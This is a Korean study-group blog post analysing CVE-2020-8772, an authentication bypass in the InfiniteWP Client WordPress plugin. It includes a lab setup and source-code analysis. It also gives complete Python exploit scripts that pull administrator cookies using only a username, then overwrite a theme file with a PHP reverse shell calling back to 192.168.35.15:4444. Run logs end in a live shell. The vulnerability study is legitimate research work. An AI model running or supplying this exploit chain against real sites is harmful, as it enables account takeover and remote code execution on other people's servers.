반응형

[목적]

- 해당 글은 연구하기 위한 목적으로 정리하였으며, 앞으로도 연구 목적으로 올라올 예정임.

- 실력을 향상하기 위하여 스터디 모임에서 정리한 내용을 일부 공개하고 있으면 향후에도 동일한 방식으로 진행될 예정

ref

https://blog.sunggwanchoi.com/kor-infinitewp-client-1-9-4-5-authentication-bypass/

상세 분석 결과

환경 구축

wordpres 구축

  • wordpress : 4.8.3
  • mysql: 5.7

docker-compose.yml

version: "3.3"
    
services:
  db:
    image: mysql:5.7
    volumes:
      - ./db_data:/var/lib/mysql
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: somewordpress
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress
    
  wordpress:
    depends_on:
      - db
    image: wordpress:4.8.3
    volumes:
      - ./wordpress_data:/var/www/html
    ports:
      - "8000:80"
    restart: always
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
docker-compose up -d

계정 생성

  • admin 유저로 계정 생성

취약한 플러그 설치

원하는 버전의 플러그인 다운로드 방법

<https://downloads.wordpress.org/plugin/><플러그인_이름>.<버전>.zip
<https://downloads.wordpress.org/plugin/iwp-client.1.9.4.4.zip>

파일 업로드 용량 늘리는 방법

  • Increase Maximum Upload File Size, WP 파일 관리자 플러그인 설치
  • .htaccess 에 아래 내용 추가
  • php_value upload_max_filesize 32M php_value post_max_size 64M php_value memory_limit 128M php_value max_execution_time 300 php_value max_input_time 300

iwp-client 플러그인 설치

타겟

  • 이름 : Infinite WP
  • 유형 : 워드프레스 플러그인
  • 버젼 : < 1.9.4.5
  • 기능 : 여러개의 워드프레스 사이트를 관리,모니터링 해주는 플러그인

취약점

설명

  • Authentication Bypass 취약점
  • 공격자가 워드프레스 유저의 이름을 알고 있으면 해당 유저의 사용자 인증 쿠키를 알아낼 수 있는 취약점

페이로드

{"iwp_action": "add_site", "params": {"username": "admin"}}

취약점 발생 지점

  • init.php 파일
  • iwp_mmb_set_request 함수

PoC 실행

PoC 코드

import requests
import pprint
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True, help="URL of the target WordPress site.")
args = parser.parse_args()

url = args.url
data = '_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ=='
headers = {'Content-Type': 'application/x-www-form-urlencoded'}

# 요청 객체 사전 준비
request = requests.Request('POST', url, data=data, headers=headers)
prepared_request = request.prepare()

# 패킷 출력 (Burp Suite 스타일)
print("=== Request ===")
print(f"{prepared_request.method} {prepared_request.path_url} HTTP/1.1")
for header, value in prepared_request.headers.items():
    print(f"{header}: {value}")
print()
print(prepared_request.body)
print()

# 요청 보내기
response = requests.Session().send(prepared_request)

# 응답 패킷 출력
print("\\n=== Response ===")
print(f"HTTP/{response.raw.version} {response.status_code} {response.reason}")
for header, value in response.headers.items():
    print(f"{header}: {value}")
print()
if response.content:
    print(response.content.decode())
print()

if 'IWPHEADER' in response.text:
    print('\\n[+] Vulnerable')
else:
    print('\\n[+] Not vulnerable')

실행 결과

 python .\\poc.py -u <http://localhost:8000>
=== Request ===
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 93

_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ==

=== Response ===
HTTP/11 200 OK
Date: Sat, 09 Sep 2023 06:14:06 GMT
Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/8.0.30
Set-Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7C3efd8dc118e2254f28f58e01e08379acb3c549eacd0fe6ab0b4e4b37bd21f18b; path=/wp-content/plugins; HttpOnly, wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7C3efd8dc118e2254f28f58e01e08379acb3c549eacd0fe6ab0b4e4b37bd21f18b; path=/wp-admin; HttpOnly, wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7Ca095bf77a2d4a9697d0b8859a16435bb44e0245bebbf1d70a8897b68b0b9920b; path=/; HttpOnly, wordpress_sec_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7Ce2952a11bf492fc0e27bdd7820f01c9d134ae58efc291909e5296beb2a0ac4b9; path=/wp-content/plugins; secure; HttpOnly, wordpress_sec_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7Ce2952a11bf492fc0e27bdd7820f01c9d134ae58efc291909e5296beb2a0ac4b9; path=/wp-admin; secure; HttpOnly, wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7C399a76985c0c86303848f480390bad5a4166268ca4b7a62d2de1c42e83b44c47; path=/; HttpOnly
Vary: Accept-Encoding
Content-Length: 162
Content-Type: text/plain;charset=UTF-8

<IWPHEADER>_IWP_JSON_PREFIX_eyJlcnJvciI6IkludmFsaWQgYWN0aXZhdGlvbiBrZXkiLCJlcnJvcl9jb2RlIjoiaXdwX21tYl9hZGRfc2l0ZV9pbnZhbGlkX2FjdGl2YXRpb25fa2V5In0=<ENDIWPHEADER>

[+] Vulnerable

Request

=== Request ===
POST /wp-admin/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 93

_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ==
  • {"iwp_action":"add_site","params":{"username":"admin"}}

Response

=== Response ===
HTTP/11 200 OK
Date: Sat, 09 Sep 2023 06:14:06 GMT
Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/8.0.30
Set-Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7C3efd8dc118e2254f28f58e01e08379acb3c549eacd0fe6ab0b4e4b37bd21f18b; path=/wp-content/plugins; HttpOnly, wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7C3efd8dc118e2254f28f58e01e08379acb3c549eacd0fe6ab0b4e4b37bd21f18b; path=/wp-admin; HttpOnly, wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7Ca095bf77a2d4a9697d0b8859a16435bb44e0245bebbf1d70a8897b68b0b9920b; path=/; HttpOnly, wordpress_sec_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7Ce2952a11bf492fc0e27bdd7820f01c9d134ae58efc291909e5296beb2a0ac4b9; path=/wp-content/plugins; secure; HttpOnly, wordpress_sec_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7Ce2952a11bf492fc0e27bdd7820f01c9d134ae58efc291909e5296beb2a0ac4b9; path=/wp-admin; secure; HttpOnly, wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7C399a76985c0c86303848f480390bad5a4166268ca4b7a62d2de1c42e83b44c47; path=/; HttpOnly
Vary: Accept-Encoding
Content-Length: 162
Content-Type: text/plain;charset=UTF-8

<IWPHEADER>_IWP_JSON_PREFIX_eyJlcnJvciI6IkludmFsaWQgYWN0aXZhdGlvbiBrZXkiLCJlcnJvcl9jb2RlIjoiaXdwX21tYl9hZGRfc2l0ZV9pbnZhbGlkX2FjdGl2YXRpb25fa2V5In0=<ENDIWPHEADER>
  • admin 유저의 인증이 담긴 쿠키들을 Set-Cookie를 통해 반환해주고 있음
  • {"error":"Invalid activation key","error_code":"iwp_mmb_add_site_invalid_activation_key"} 라는 응답을 보냄

정리

{"iwp_action":"add_site","params":{"username":"admin"}} 요청을 보내면 워드프레스는 invalid_activation_key 라는 에러를 반환하지만, 에러와 함께 admin 유저의 인증 쿠키가 같이 반환됩니다.

취약점 소스 코드 분석

취약한 함수

  • iwp_mmb_set_request()
  • iwp_mmb_parse_request()

취약한 함수가 포함된 파일

❯ grep -ri "iwp_mmb_set_request" .
./init.php:if (!function_exists ('iwp_mmb_set_request')) {
./init.php:     function iwp_mmb_set_request(){
./core.class.php:               add_action('setup_theme', 'iwp_mmb_set_request');
  • init.php
    • iwp_mmb_set_request 함수가 정의된 파일은 init.php
  • core.class.php

iwp_mmb_set_request

function iwp_mmb_set_request(){
		global $current_user, $iwp_mmb_core, $new_actions, $wp_db_version, $wpmu_version, $_wp_using_ext_object_cache, $iwp_mmb_activities_log;
		if (is_user_logged_in()) {
			iwp_plugin_compatibility_fix();
		}
		if (empty($iwp_mmb_core->request_params)) {
			return false;
		}
		$params = $iwp_mmb_core->request_params;
		$action = $iwp_mmb_core->request_params['iwp_action'];
  • Request : {"iwp_action":"add_site","params":{"username":"admin"}}
    • **request_params : {"username":"admin"}**
    • **request_params['iwp_action'] : "add_site"**
if(isset($params['username']) && !is_user_logged_in()){
			$user = function_exists('get_user_by') ? get_user_by('login', $params['username']) : iwp_mmb_get_user_by( 'login', $params['username'] );
			if (isset($user) && isset($user->ID)) {
				wp_set_current_user($user->ID);
				// Compatibility with All In One Security
				update_user_meta($user->ID, 'last_login_time', current_time('mysql'));
			}
			$isHTTPS = (bool)is_ssl();
			if($isHTTPS){
				wp_set_auth_cookie($user->ID);
			}else{
				wp_set_auth_cookie($user->ID, false, false);
				wp_set_auth_cookie($user->ID, false, true);
			}
		}
  • username 파라미터에 값이 설정되어 있는지 확인하고 로그인되어 있는지 확인
    • username: admin , 로그인 되어 있음
  • get_user_by 함수가 존재하면 username 에 해당하는 유저의 정보를 가져옴
    • 존재하지 않으면 wp_set_current_user() 함수를 이용해서 유저의 정보를 가져옴
  • 사이트가 HTTPS 프로토콜을 사용하고 있으면 기본 옵션으로 인증 쿠키를 설정
  • 사이트가 HTTP 프로토콜을 사용하고 있으면 HTTPOnly와 Secure 플래그를 모두 비활성화 하고 다시 Secure 플래그만 활성화하여 쿠키를 설정

※ username 만 가지고 사용자 인증을 하고 있다.

 보안상 문제가 있음

iwp_mmb_parse_request

global $current_user, $iwp_mmb_core, $new_actions, $wp_db_version, $wpmu_version, $_wp_using_ext_object_cache;
		if (strrpos($HTTP_RAW_POST_DATA_LOCAL, '_IWP_JSON_PREFIX_') !== false) {
			$request_data_array = explode('_IWP_JSON_PREFIX_', $HTTP_RAW_POST_DATA_LOCAL);
			$request_raw_data = $request_data_array[1];
			$data = trim(base64_decode($request_raw_data));
			$GLOBALS['IWP_JSON_COMMUNICATION'] = 1;
		}else{
			$data = false;
			$request_raw_data = $HTTP_RAW_POST_DATA_LOCAL;
			$serialized_data = trim(base64_decode($request_raw_data));
			if (is_serialized($serialized_data)) {
					iwp_mmb_response(array('error' => 'Please update your IWP Admin Panel to latest version', 'error_code' => 'update_panel'), false, true);
			}
		}
  • 클라이언트가 보내온 요청을 파싱하는 함수
  • $HTTP_RAW_POST_DATA_LOCAL 변수에 '_IWP_JSON_PREFIX_ 문자열이 존재하는지 확인
    • 존재하면?
      • _IWP_JSON_PREFIX_ 를 기준으로 문자열을 나눔
      • 두번째 문자열을 가져와 Base64 디코딩 후 앞뒤 공백을 제거
      • 전역 변수 $GLOBALS['IWP_JSON_COMMUNICATION'] 에 1을 할당하여 JSON 통신임을 나타냄
    • 존재하지 않으면?
      • 오류 메시지를 반환

 PoC 코드를 짤 때 _IWP_JSON_PREFIX_<Base64> 형태로 짜야 IWP 플러그인이 처리를 할 수 있다.

if (!$iwp_mmb_core->check_if_user_exists($params['username']))
				iwp_mmb_response(array('error' => 'Username <b>' . $params['username'] . '</b> does not have administrative access. Enter the correct username in the site options.', 'error_code' => 'username_does_not_have_administrative_access'), false);
			
			if ($action == 'add_site') {
				$params['iwp_action'] = $action;
				$iwp_mmb_core->request_params = $params;
				return;
			}
  • parameter로 받은 username이 관리자인지 아닌지 확인하고 관리자이면?
    • $action 이 'add_site' 일때
    • $params['iwp_action'] 에 $action 대입
    • request_params 에 $params 대입

 username 만 가지고 사용자 인증을 하고 있다.

 보안상 문제가 있음

iwp_mmb_add_site

if( !function_exists ( 'iwp_mmb_add_site' )) {
	function iwp_mmb_add_site($params)
	{
		global $iwp_mmb_core, $iwp_mmb_activities_log;
		$num = extract($params);
		
		if ($num) {
			if (!$iwp_mmb_core->get_option('iwp_client_action_message_id') && !$iwp_mmb_core->get_option('iwp_client_public_key')) {
				$public_key = base64_decode($public_key);
				
				
				if(trim($activation_key) != get_option('iwp_client_activate_key')){ //iwp
					iwp_mmb_response(array('error' => 'Invalid activation key', 'error_code' => 'iwp_mmb_add_site_invalid_activation_key'), false);
					return;
				}
  • response에 있었던 'Invalid activation key' 에러 메시지가 있음

PoC 제작

  1. URL과 관리자 이름을 유저로부터 받는다.
  2. IWP 페이로드를 이용해 타겟 워드프레스로 부터 관리자 쿠키를 받아낸다.
  3. 관리자 쿠키를 이용해 리버스 쉘을 전송한다.
  4. Theme Editor를 이용해 archive.php 페이지를 리버스 쉘로 변환한다.
  5. 해당 페이지를 방문하면 리버스 쉘이 작동한다.

main

arg = parseArguments()
    baseUrl = arg.u
    username = arg.n 
    themeName = arg.t
  • python .\\cve-2020-8772.py -u <http://127.0.0.1:8000> -n admin -t twentyseventeen
    • baseUrl = http://127.0.0.1:8000
    • username = admin
    • themeName = twentyseventeen
######### CHANGE ME !!! ######### 
    payload = """<?php exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.35.15/4444 0>&1'");"""
######### CHANGE ME !!! #########
무선 LAN 어댑터 Wi-Fi:

   연결별 DNS 접미사. . . . :
   링크-로컬 IPv6 주소 . . . . : fe80::cf75:83a3:efa1:feca%4
   IPv4 주소 . . . . . . . . . : 192.168.35.15
   서브넷 마스크 . . . . . . . : 255.255.255.0
   기본 게이트웨이 . . . . . . : 192.168.35.1
  • payload → 현재 PC로 리버스 쉘 요청을 보내는 페이로드
print("[DEBUG] baseUrl - ", baseUrl)
    print("[DEBUG] username - ", username)
    print("[DEBUG] themeName - ", themeName)
    print("[DEBUG] Payload - ", payload)
    print("[DEBUG] (Make sure to change the payload)")
    print()
[DEBUG] baseUrl -  <http://127.0.0.1:8000>
[DEBUG] username -  admin
[DEBUG] themeName -  twentyseventeen
[DEBUG] Payload -  <?php exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.35.15/4444 0>&1'");
[DEBUG] (Make sure to change the payload)
  • 디버그 메시지 출력
# Setting up basic url, header, payload for the attack 
    if baseUrl[-1] == '/':
        baseUrl = baseUrl[:-1]

    header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537"}
    iwpPayload = '{"iwp_action":"add_site","params":{"username":"' + username + '"}}'
    iwpPayload = "_IWP_JSON_PREFIX_" + base64.b64encode(iwpPayload.encode('ascii')).decode('utf-8')

		session = requests.session()
  • 사용자 인증이 취약한 addsite 함수를 admin 유저로 접속하도록 iwpPayload 설정
  • 페이로드가 정상적으로 파싱 되도록 _IWP_JSON_PREFIX_ + <encoded_payload> 형태로 iwpPayload 설정
  • requests 모듈을 이용해서 세션 생성
print("[+] Stage1: IWP Exploit & Sanity Check")
    result = iwpExploit(session, baseUrl, header, iwpPayload)
    print()

    print("[+] Stage2: Getting Nonce")
    nonce = getNonce(session, baseUrl, header, themeName)
    if (nonce == False):
        print("[-] Stage 2 failed. Exiting.")
        exit(1)
    print()

    print("[+] Stage3: Injecting Payload into archive.php")
    result = injectPayload(session, baseUrl, header, nonce, payload, themeName)
    if (result == False):
        print("[-] Stage 1 failed. Exiting.")
        exit(1)
    print()
  • [1] admin 유저로 /wp-admin 사이트 접속이 가능한지 확인
  • [2] nonce 값 탈취 진행
  • [3] archive.php 페이지를 페이로드로 덮어써서 reverse shell 띄움
finalUrl = baseUrl + "/wp-content/themes/" + themeName + "/archive.php"
print("[+] Exploitation Successful. Open up netcat listener & Visit the following URL\\n")
print("[+] Visit --> ", finalUrl, "\\n")
  • 공격 성공 이후 출력되는 URL을 누르면 reverse shell이 연결됨

iwpExploit

def iwpExploit(session, url, header, data):
    """ 
    Exploit IWP vulnerability. All auth_cookie is stored in "session"

    :return:bool:Return True/False based on visiting the endpoint 
    """
    url = url + "/wp-admin/"
    print("[+] Trying " + url + " with IWP payload : " + data)

    try:
        res = session.post(url, headers=header, data=data)
        if res.status_code != 200:
            print("[-] Failed to reach endpoint")
            print(res.status_code)
            exit(1)
    except Exception as e:
        print("[-] Error occurred: " + str(e))
        exit(1)
    
    return True
[+] Stage1: IWP Exploit & Sanity Check
[+] Trying <http://127.0.0.1:8000/wp-admin/> with IWP payload : _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ==
  • admin 유저로 /wp-admin 주소에 접속이 되는지 확인
  • 상태 코드가 200번이 아니면?
    • 접속 가능하기 때문에, 취약한 상태

getNonce

def getNonce(session, url, header, themeName):
    """
    Get Nonce and return Nonce 

    :return:nonce:str:Nonce of the theme-editor.php?file=archive.php 
    """

    # First, see if we can visit the theme-editor.php endpoint 
    urlFirst = url + '/wp-admin/theme-editor.php'
    print("[+] Trying " + urlFirst)

    try:
        res = session.get(urlFirst, headers=header)
        if res.status_code != 200:
            print("[-] Failed to reach endpoint")
            print(res.status_code)
            exit(1)
    except Exception as e:
        print("[-] Error occurred: Potential theme name problem - " + str(e))
        exit(1)
    

    # Second, retrieve the nonce from the page and return the nonce 
    urlSecond = url + '/wp-admin/theme-editor.php?file=archive.php&theme=' + themeName
    print("[+] Trying " + urlSecond)

    try:
        res = session.get(urlSecond, headers=header)
        if res.status_code != 200:
            print("[-] Failed to reach endpoint")
            print(res.status_code)
            exit(1)
    except Exception as e:
        print("[-] Error occurred: Potential theme name problem - " + str(e))
        exit(1)
    
    try:
        soup = BeautifulSoup(res.text, features='lxml')
        nonce = soup.find_all(id='_wpnonce')[0].get('value')
        print("[DEBUG] Nonce = ", nonce)
    except Exception as e:
        print('[-] Error occurred: Potential username problem - ' + str(e))
        exit(1)

    return nonce
[+] Stage2: Getting Nonce
[+] Trying <http://127.0.0.1:8000/wp-admin/theme-editor.php>
[+] Trying <http://127.0.0.1:8000/wp-admin/theme-editor.php?file=archive.php&theme=twentyseventeen>
[DEBUG] Nonce =  f6da1de574
  • http://127.0.0.1:8000/wp-admin/theme-editor.php?file=archive.php&theme=twentyseventeen
    • 해당 사이트에 admin 유저의 쿠키를 이용해서 접속하는 과정을 burpsuite로 잡아보면?
      • replay attack 방지를 위해 nonce 값이 함께 전달되고 있음
    • 추후 공격을 위해 해당 nonce 값을 수집

injectPayload

def injectPayload(session, url, header, nonce, payload, themeName):
    """
    Inject the php payload into archive.php 

    :return:bool:True/False based on successfully injecting php payload 
    """
    url = url + "/wp-admin/theme-editor.php"
    payloadData = {"_wpnonce": nonce, "newcontent": payload, "action": "update", "file": "archive.php", "theme": themeName, "scrollto": "0", "docs-list": '', "submit": "Update File"}

    print("[+] Trying " + url)
    print("[+] Full Payload : ", payloadData)

    try:
        res = session.post(url, headers=header, data=payloadData)
        if res.status_code != 200:
            print("[-] Failed to reach endpoint")
            print(res.status_code)
            exit(1)
    except Exception as e:
        print("[-] Error occurred: " + str(e))
        exit(1)

    return True
  • theme-editor.php 를 이용해서 archive.php 를 페이로드로 덮어씀
POST /wp-admin/theme-editor.php HTTP/1.1
Host: localhost:8000
Content-Length: 125362
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: <http://localhost:8000>
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: <http://localhost:8000/wp-admin/theme-editor.php>
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1694539956%7CI4n7dZOgnfQ2y32hhLTnBMm37cwqfwCWUWKANbRRGKr%7Cf7af4fbb3032c9c291419a2c7aa6610038a1c920f83ec0c31aac92374ebdac0b; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1694539956%7CI4n7dZOgnfQ2y32hhLTnBMm37cwqfwCWUWKANbRRGKr%7C317e7700cadefeb3c65235c55650ee0e358222791c6a70ceb2520a406b4b0a44; wp-settings-time-1=1694367175
Connection: close

_wpnonce=bdddcebdd9&_wp_http_referer=%2Fwp-admin%2Ftheme-editor.php&newcontent=%2F*%0D%0ATheme+Name%3A+Twenty+Seventeen%0D%0ATheme+URI%3A+https%3A%2F%2Fwordpress.org%2Fthemes%2Ftwentyseventeen%2F%0D%0AAuthor%3A+the+WordPress+team%0D%0AAuthor+URI%3A+https%3A%2F%2Fwordpress.org%2F%0D%0ADescription%3A+Twenty+Seventeen+brings+your+site+to+life+with+header+video+and+immersive+featured+images.+With+a+focus+on+business+sites%2C+it+features+multiple+sections+on+the+front+page+as+well+as+widgets%2C+navigation+and+social+menus%2C+a+logo%2C+and+more.+Personalize+its+asymmetrical+grid+with+a+custom+color+scheme+and+showcase+your+multimedia+content+with+post+formats.+Our+default+theme+for+2017+works+great+in+many+languages%2C+for+any+abilities%2C+and+on+any+device.%0D%0AVersion%3A+1.3%0D%0ALicense%3A+GNU+General+Public+License+v2+or+later%0D%0ALicense+URI%3A+http%3A%2F%2Fwww.gnu.org%2Flicenses%2Fgpl-2.0.html%0D%0AText+Domain%3A+twentyseventeen%0D%
...................................
...................................
...................................
ned+with+others.%0D%0A*%2F%0D%0A%0D%0A%2F*--------------------------------------------------------------%0D%0A%3E%3E%3E+TABLE+OF+CONTENTS%3A%0D%0A------------ant%3B+%2F*+Make+sure+color+schemes+don%27t+affect+to+print+*%2F%0D%0A%09%7D%0D%0A%0D%0A%09h2%2C%0D%0A%09h5%2C%0D%0A%09blockquote%2C%0D%0A%09.site-description%2C%0D%0A%09.twentyseventeen-front-page.has-header-image+.site-description%2C%0D%0A%09.twentyseventeen-front-page.has-header-video+.site-description%2C%0D%0A%09.entry-meta%2C%0D%0A%09.entry-meta+a+%7B%0D%0A%09%09color%3A+%23777+%21important%3B+%2F*+Make+sure+color+schemes+don%27t+affect+to+print+*%2F%0D%0A%09%7D%0D%0A%0D%0A%09.entry-content+blockquote.alignleft%2C%0D%0A%09.entry-content+blockquote.alignright+%7B%0D%0A%09%09font-size%3A+11pt%3B%0D%0A%09%09width%3A+34%25%3B%0D%0A%09%7D%0D%0A%0D%0A%09.site-footer+%7B%0D%0A%09%09padding%3A+0%3B%0D%0A%09%7D%0D%0A%7D%0D%0A&action=update&file=style.css&theme=twentyseventeen&scrollto=400&submit=%ED%8C%8C%EC%9D%BC+%EC%97%85%EB%8D%B0%EC%9D%B4%ED%8A%B8
  • 워드프레스 관리자 페이지에서 테마를 변경하는 과정을 burpsuite로 잡아보면?
    • _wpnonce 변수를 통해 nonce 값을 전달하고 있음
    • new_content를 통해 새롭게 변경할 테마의 코드를 전달하고 있음
    • action 을 통해서 테마를 update 하겠다고 하고 있음
    • file 을 통해 변경할 파일을 설정하고 있음
    • theme 를 통해서 현재 테마명을 전달하고 있음
    • scrollto 를 통해서 400으로 스크롤 하게 설정하고 있음
    • submit 을 통해서 파일+업데이트를 하겠다고 전달하고 있음

PoC 코드 실행

ncat -lvnp 4444
 python .\\cve-2020-8772.py -u <http://127.0.0.1:8000> -n admin -t twentyseventeen
[DEBUG] baseUrl -  <http://127.0.0.1:8000>
[DEBUG] username -  admin
[DEBUG] themeName -  twentyseventeen
[DEBUG] Payload -  <?php exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.35.15/4444 0>&1'");
[DEBUG] (Make sure to change the payload)

[+] Stage1: IWP Exploit & Sanity Check
[+] Trying <http://127.0.0.1:8000/wp-admin/> with IWP payload : _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ==

[+] Stage2: Getting Nonce
[+] Trying <http://127.0.0.1:8000/wp-admin/theme-editor.php>
[+] Trying <http://127.0.0.1:8000/wp-admin/theme-editor.php?file=archive.php&theme=twentyseventeen>
[DEBUG] Nonce =  1cfc1aea53

[+] Stage3: Injecting Payload into archive.php
[+] Trying <http://127.0.0.1:8000/wp-admin/theme-editor.php>
[+] Full Payload :  {'_wpnonce': '1cfc1aea53', 'newcontent': '<?php exec("/bin/bash -c \\'bash -i > /dev/tcp/192.168.35.15/4444 0>&1\\'");', 'action': 'update', 'file': 'archive.php', 'theme': 'twentyseventeen', 'scrollto': '0', 'docs-list': '', 'submit': 'Update File'}

[+] Exploitation Successful. Open up netcat listener & Visit the following URL

[+] Visit -->  <http://127.0.0.1:8000/wp-content/themes/twentyseventeen/archive.php>
 ncat -lvnp 4444
Ncat: Version 7.94 ( <https://nmap.org/ncat> )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.35.15:13159.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

 

반응형

+ Recent posts